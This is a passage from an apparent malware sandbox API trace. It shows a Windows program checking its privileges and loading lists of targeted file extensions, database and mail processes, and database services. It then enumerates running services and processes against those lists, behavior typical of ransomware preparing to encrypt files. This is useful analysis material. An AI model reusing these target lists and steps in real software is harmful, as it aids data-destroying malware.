| out: hHeap=0x880000) returned 1 [0176.712] lstrlenW (lpString="Global\\syncronize_") returned 18 [0176.712] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894978 | out: hHeap=0x880000) returned 1 [0176.712] GetVersion () returned 0x1db10106 [0176.712] GetCurrentProcess () returned 0xffffffff [0176.712] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fda4 | out: TokenHandle=0x18fda4*=0x8c) returned 1 [0176.712] GetTokenInformation (in: TokenHandle=0x8c, TokenInformationClass=0x14, TokenInformation=0x18fda0, TokenInformationLength=0x4, ReturnLength=0x18fdac | out: TokenInformation=0x18fda0, ReturnLength=0x18fdac) returned 1 [0176.712] CloseHandle (hObject=0x8c) returned 1 [0176.712] WaitForSingleObject (hHandle=0x88, dwMilliseconds=0x0) returned 0x0 [0176.712] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x883978 [0176.713] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x890e98 [0176.713] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890e98, Size=0x20) returned 0x894408 [0176.713] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894408, Size=0x40) returned 0x894978 [0176.713] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894978, Size=0x80) returned 0x894978 [0176.713] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894978, Size=0x100) returned 0x894978 [0176.713] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x34) returned 0x894a80 [0176.713] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x890a88 [0176.713] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x890a98 [0176.713] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x890aa8 [0176.713] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x890e98 [0176.713] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894ac0 [0176.713] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x890eb0 [0176.713] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894ac0, Size=0x8) returned 0x894ac0 [0176.713] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x890ec8 [0176.713] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894ac0, Size=0x10) returned 0x894ac0 [0176.714] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x890ee0 [0176.714] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x890ef8 [0176.714] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894ac0, Size=0x20) returned 0x894ac0 [0176.714] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x890f10 [0176.714] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x890f28 [0176.714] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890a88, Size=0x8) returned 0x890a88 [0176.714] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890a98, Size=0x8) returned 0x890a98 [0176.714] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x894ae8 [0176.714] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x890f40 [0176.714] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894af8 [0176.714] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x890f58 [0176.714] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894af8, Size=0x8) returned 0x894af8 [0176.714] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4c50 [0176.715] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894af8, Size=0x10) returned 0x894af8 [0176.715] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4c68 [0176.715] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x894b10 [0176.715] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894af8, Size=0x20) returned 0x894b20 [0176.715] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890a88, Size=0x10) returned 0x894af8 [0176.715] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890a98, Size=0x10) returned 0x894b48 [0176.715] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x890a88 [0176.715] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4c80 [0176.715] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x890a98 [0176.715] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4c98 [0176.715] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x890a98, Size=0x8) returned 0x890a98 [0176.715] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x894b60 [0176.716] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4cb0 [0176.716] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894b70 [0176.716] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4cc8 [0176.716] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894b70, Size=0x8) returned 0x894b70 [0176.716] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894af8, Size=0x20) returned 0x894b80 [0176.716] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894b48, Size=0x20) returned 0x894ba8 [0176.716] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x8) returned 0x894b48 [0176.716] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4ce0 [0176.716] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894bd0 [0176.716] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xa) returned 0x8b4cf8 [0176.716] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894bd0, Size=0x8) returned 0x894bd0 [0176.716] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x8b5038 [0176.716] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x8b5058 [0176.717] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0176.717] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x894978 | out: hHeap=0x880000) returned 1 [0176.717] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x18fdf0 | out: lpWSAData=0x18fdf0) returned 0 [0177.532] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d10 [0177.532] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d10, Size=0x20) returned 0x894610 [0177.533] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894610, Size=0x40) returned 0x8949d0 [0177.533] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8949d0, Size=0x80) returned 0x8949d0 [0177.533] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8949d0, Size=0x100) returned 0x8b5330 [0177.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d10 [0177.533] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8b4d10, Size=0x20) returned 0x894610 [0177.533] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894610, Size=0x40) returned 0x8949d0 [0177.533] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8949d0, Size=0x80) returned 0x8949d0 [0177.533] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8949d0, Size=0x100) returned 0x8b5438 [0177.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4d10 [0177.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894af8 [0177.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8b4d28 [0177.533] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894af8, Size=0x8) returned 0x894af8 [0177.533] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x8949d0 [0177.533] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894af8, Size=0x10) returned 0x894af8 [0177.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x18) returned 0x8949f0 [0177.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1a) returned 0x894610 [0177.534] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894af8, Size=0x20) returned 0x894a10 [0177.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1c) returned 0x894638 [0177.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x16) returned 0x894a38 [0177.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x1a) returned 0x894660 [0177.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xc) returned 0x8b4d40 [0177.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x4) returned 0x894af8 [0177.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40) returned 0x8b5540 [0177.534] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894af8, Size=0x8) returned 0x894af8 [0177.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x3c) returned 0x8b5588 [0177.534] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894af8, Size=0x10) returned 0x894af8 [0177.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x14) returned 0x894a58 [0177.534] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x18) returned 0x8b55d0 [0177.535] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x894af8, Size=0x20) returned 0x8b55f0 [0177.535] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x24) returned 0x8b5618 [0177.535] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81 [0177.535] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5330 | out: hHeap=0x880000) returned 1 [0177.535] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102 [0177.535] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b5438 | out: hHeap=0x880000) returned 1 [0177.535] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8b5b98 [0177.955] EnumServicesStatusExW (in: hSCManager=0x8b5b98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 0 [0178.101] GetLastError () returned 0xea [0178.101] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x9a8) returned 0x8b94a0 [0178.101] EnumServicesStatusExW (in: hSCManager=0x8b5b98, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x8b94a0, cbBufSize=0x9a8, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x8b94a0, pcbBytesNeeded=0x18fd8c, lpServicesReturned=0x18fda4, lpResumeHandle=0x0) returned 1 [0178.113] CloseServiceHandle (hSCObject=0x8b5b98) returned 1 [0178.294] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0178.294] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0178.294] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0178.294] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0178.294] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0178.294] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0178.294] lstrlenW (lpString="AudioSrv") returned 8 [0178.295] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0178.295] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0178.295] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0178.295] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0178.295] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0178.295] lstrlenW (lpString="CscService") returned 10 [0178.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0178.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0178.296] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0178.296] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0178.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0178.296] lstrlenW (lpString="DcomLaunch") returned 10 [0178.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0178.296] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0178.296] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0178.296] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0178.296] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0178.296] lstrlenW (lpString="Dhcp") returned 4 [0178.296] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0178.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0178.297] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0178.297] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0178.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0178.297] lstrlenW (lpString="Dnscache") returned 8 [0178.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0178.297] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0178.297] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0178.297] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0178.297] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0178.297] lstrlenW (lpString="eventlog") returned 8 [0178.297] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0178.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0178.298] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0178.298] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0178.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0178.298] lstrlenW (lpString="EventSystem") returned 11 [0178.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0178.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0178.298] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0178.298] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0178.298] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0178.298] lstrlenW (lpString="gpsvc") returned 5 [0178.298] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0178.298] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0178.298] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0178.299] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0178.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0178.299] lstrlenW (lpString="lmhosts") returned 7 [0178.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0178.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0178.299] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0178.299] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0178.299] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0178.299] lstrlenW (lpString="MMCSS") returned 5 [0178.299] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0178.299] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0178.299] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0178.300] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0178.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0178.300] lstrlenW (lpString="nsi") returned 3 [0178.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0178.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0178.300] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0178.300] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0178.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0178.300] lstrlenW (lpString="PlugPlay") returned 8 [0178.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0178.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0178.300] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0178.301] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0178.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0178.301] lstrlenW (lpString="Power") returned 5 [0178.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0178.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0178.301] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0178.301] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0178.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0178.301] lstrlenW (lpString="ProfSvc") returned 7 [0178.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0178.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0178.301] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0178.302] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0178.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0178.302] lstrlenW (lpString="RpcEptMapper") returned 12 [0178.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0178.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0178.302] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0178.302] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0178.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0178.302] lstrlenW (lpString="RpcSs") returned 5 [0178.302] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0178.302] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0178.302] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0178.302] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0178.302] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0178.303] lstrlenW (lpString="SamSs") returned 5 [0178.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0178.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0178.303] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0178.303] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0178.303] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0178.303] lstrlenW (lpString="Schedule") returned 8 [0178.303] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0178.303] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0178.303] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0178.303] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0178.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0178.304] lstrlenW (lpString="SENS") returned 4 [0178.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0178.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0178.304] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0178.304] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0178.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0178.304] lstrlenW (lpString="ShellHWDetection") returned 16 [0178.304] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0178.304] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0178.304] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0178.304] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0178.304] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0178.305] lstrlenW (lpString="Spooler") returned 7 [0178.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0178.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0178.305] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0178.305] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0178.305] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0178.305] lstrlenW (lpString="Themes") returned 6 [0178.305] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0178.305] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0178.305] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0178.305] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0178.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0178.306] lstrlenW (lpString="UxSms") returned 5 [0178.306] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0178.306] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0178.306] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0178.306] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0178.306] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0178.306] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8b94a0 | out: hHeap=0x880000) returned 1 [0178.332] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0xe0 [0178.338] Process32FirstW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0178.339] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0178.340] lstrlenW (lpString="System") returned 6 [0178.340] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0178.340] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0178.340] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0178.340] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0178.340] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0178.341] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0178.341] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0178.341] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0178.342] lstrlenW (lpString="smss.exe") returned 8 [0178.342] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0178.342] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0178.342] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0178.342] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0178.343] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0178.343] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0178.343] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0178.343] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0178.344] lstrlenW (lpString="csrss.exe") returned 9 [0178.344] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0178.344] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0178.344] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0178.344] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0178.344] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0178.344] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0178.344] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0178.344] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0178.345] lstrlenW (lpString="wininit.exe") returned 11 [0178.345] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0178.345] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0178.346] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0178.346] lstrcmpiW (lpString1="postgres.exe", 